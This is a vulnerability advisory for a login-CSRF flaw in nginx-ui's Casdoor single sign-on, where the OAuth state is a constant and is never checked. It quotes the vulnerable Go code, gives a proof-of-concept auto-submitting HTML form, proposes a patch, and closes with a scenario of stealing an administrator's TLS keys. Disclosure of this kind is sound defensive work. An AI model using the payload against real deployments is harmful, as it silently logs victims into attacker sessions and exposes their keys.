CVE-2026-84312: Nginx-UI: Casdoor SSO login CSRF forces victim into attacker session

## Summary In the Casdoor SSO flow, the OAuth `state` parameter is hard-coded to `settings.CasdoorSettings.Application` — a value identical for every user and every login. The callback handler accepts whatever `state` the client sends without comparing it to anything stored in the user agent, enabling a login-CSRF: an attacker can force the victim's browser to authenticate as the *attacker*. ## Details `api/user/casdoor.go:92-117` (`GetCasdoorUri`): ```go func GetCasdoorUri(c *gin.Context) { clientId := settings.CasdoorSettings.ClientId redirectUri := settings.CasdoorSettings.RedirectUri state := settings.CasdoorSettings.Application // ← constant ... c.JSON(http.StatusOK, gin.H{ "uri": fmt.Sprintf( "%s/login/oauth/authorize?client_id=%s&response_type=code&redirect_uri=%s&state=%s&scope=read", endpoint, clientId, encodedRedirectUri, state), }) } ``` `api/user/casdoor.go:24-90` (`CasdoorCallback`): ```go type CasdoorLoginUser struct { Code string `json:"code" binding:"required,max=255"` State string `json:"state" binding:"required,max=255"` } func CasdoorCallback(c *gin.Context) { var loginUser CasdoorLoginUser if !cosy.BindAndValid(c, &loginUser) { return } ... // state is NEVER compared to a per-session value token, err := casdoorsdk.GetOAuthToken(loginUser.Code, loginUser.State) ... u, err := user.GetUser(claims.Name) // username from Casdoor's JWT ... userToken, err := user.GenerateJWT(u) // JWT minted for whatever user came back } ``` Compare with the OIDC implementation in `api/user/oidc.go:35-48`, which generates a random state, stores it in an `oidc_state` cookie, and validates it on the callback. Casdoor has no such check. ## Proof of Concept 1. Attacker initiates a Casdoor authorisation flow on their own browser, obtaining an authorisation `code` for *their* Casdoor account. 2. Attacker hosts a page that auto-submits the captured `code` to the victim's nginx-ui: ```html <html><body><form action="https://victim.example/api/casdoor_callback" method="POST" enctype="text/plain" id="x"> <input name='{"code":"<attacker_code>","state":"<App>","junk":"' value='"}'> </form> <script>document.getElementById('x').submit()</script> </body></html> ``` 3. Server exchanges the attacker's `code`, looks up the username from `claims.Name` in the local user table, and mints a JWT for *that* row. The callback also sets the `_nginx_ui_secure_session` cookie via `middleware.EnsureSecureSessionCookie(c)` (`casdoor.go:84`) — meaning the victim is now silently authenticated as the attacker. 4. Victim, believing they are using their own account, configures sites / TLS keys; the attacker reads them. ## Impact Login CSRF — the victim is forced to authenticate as the attacker, leading to data exfiltration of anything the victim subsequently uploads or configures. Particularly dangerous when nginx-ui is used by an organisation where Casdoor maps internal identities — the attacker can attribute their changes to the victim. ## Patches Mirror the OIDC implementation: ```diff + import ( + "crypto/rand" + "crypto/subtle" + "encoding/hex" + ... + ) func GetCasdoorUri(c *gin.Context) { ... - state := settings.CasdoorSettings.Application + b := make([]byte, 16) + if _, err := rand.Read(b); err != nil { + cosy.ErrHandler(c, err); return + } + state := hex.EncodeToString(b) + c.SetSameSite(http.SameSiteLaxMode) + c.SetCookie("casdoor_state", state, 600, "/", "", + cSettings.ServerSettings.EnableHTTPS, true) ... } func CasdoorCallback(c *gin.Context) { + expected, err := c.Cookie("casdoor_state") + if err != nil { + c.AbortWithStatusJSON(http.StatusBadRequest, + gin.H{"message":"missing state cookie"}); return + } var loginUser CasdoorLoginUser if !cosy.BindAndValid(c, &loginUser) { return } + if subtle.ConstantTimeCompare([]byte(expected), []byte(loginUser.State)) != 1 { + c.AbortWithStatusJSON(http.StatusBadRequest, + gin.H{"message":"invalid state"}); return + } ... } ``` ## Workarounds Disable Casdoor SSO until patched. The OIDC integration in `api/user/oidc.go` is correctly implemented and can be used as a substitute. ## References * [`api/user/casdoor.go:92-117`](https://github.com/0xJacky/nginx-ui/blob/dev/api/user/casdoor.go#L92-L117) * [`api/user/casdoor.go:24-90`](https://github.com/0xJacky/nginx-ui/blob/dev/api/user/casdoor.go#L24-L90) * [`api/user/oidc.go:35-48`](https://github.com/0xJacky/nginx-ui/blob/dev/api/user/oidc.go#L35-L48) (correct implementation for comparison) ## Credits Vishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.

An attacker with a valid Casdoor account starts the SSO flow and captures their authorization code without completing it. They host a page that auto-submits the code and the known constant state value to the victim organization's Nginx-UI casdoor_callback endpoint, then lure an administrator to open the page via phishing or chat. The administrator's browser is silently logged in as the attacker and receives a session cookie. Believing they are in their own account, the administrator configures a reverse proxy for an internal LLM gateway and uploads its TLS key and backend addresses. The attacker later logs into their own account and reads that configuration and key material.